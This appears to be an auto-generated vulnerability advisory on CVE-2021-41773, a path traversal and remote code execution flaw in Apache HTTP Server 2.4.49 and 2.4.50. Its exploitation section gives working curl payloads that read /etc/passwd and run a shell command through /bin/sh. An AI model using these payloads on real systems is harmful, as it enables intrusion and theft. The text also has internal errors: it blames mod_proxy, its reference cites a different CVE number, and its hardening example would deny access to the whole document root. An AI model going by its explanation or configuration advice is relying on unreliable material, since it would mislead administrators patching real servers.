How the Mentioned CVE Works:
CVE-2021-41773 is a critical vulnerability in Apache HTTP Server versions 2.4.49 and 2.4.50. The flaw exists in the path normalization component, where an attacker can exploit a misconfiguration in the `mod_proxy` module. By sending a specially crafted request, an attacker can bypass security restrictions and gain unauthorized access to files outside the document root. If the `require all denied` directive is not properly configured, this can lead to remote code execution (RCE). The vulnerability arises due to insufficient validation of user-supplied input, allowing directory traversal attacks. This can compromise the confidentiality, integrity, and availability of the affected system.
DailyCVE Form:
Platform: Apache HTTP Server
Version: 2.4.49, 2.4.50
Vulnerability: Path Traversal to RCE
Severity: Critical
Date: October 5, 2021
What Undercode Say:
Exploitation:
1. Crafting Malicious Request:
An attacker can exploit this vulnerability by sending a crafted HTTP request with encoded characters to traverse directories.
Example:
curl -v "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
2. Remote Code Execution:
If CGI scripts are enabled, attackers can execute arbitrary commands on the server.
Example:
curl -v "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh" -d "echo;id"
Protection:
1. Update Apache:
Upgrade to Apache HTTP Server version 2.4.51 or later, which patches the vulnerability.
sudo apt update && sudo apt install apache2
2. Configuration Hardening:
Ensure `require all denied` is properly configured in the Apache configuration files.
Example:
<Directory "/usr/local/apache2/htdocs"> Require all denied </Directory>
3. Input Validation:
Implement strict input validation to prevent directory traversal attacks.
4. Network Segmentation:
Restrict access to the Apache server using firewalls and network segmentation.
5. Log Monitoring:
Regularly monitor Apache logs for suspicious activity.
Example:
tail -f /var/log/apache2/access.log | grep -i "../"
6. Disable Unnecessary Modules:
Disable unused modules like `mod_cgi` if not required.
Example:
sudo a2dismod cgi
7. Web Application Firewall (WAF):
Deploy a WAF to filter malicious requests.
8. Patch Management:
Regularly apply security patches and updates to the server.
9. Exploit Detection:
Use intrusion detection systems (IDS) to detect exploitation attempts.
10. Security Audits:
Conduct regular security audits to identify and mitigate vulnerabilities.
By following these steps, organizations can protect their systems from CVE-2021-41773 and similar vulnerabilities.
References:
Reported By: https://www.cve.org/CVERecord?id=CVE-2025-21590
Extra Source Hub:
Undercode
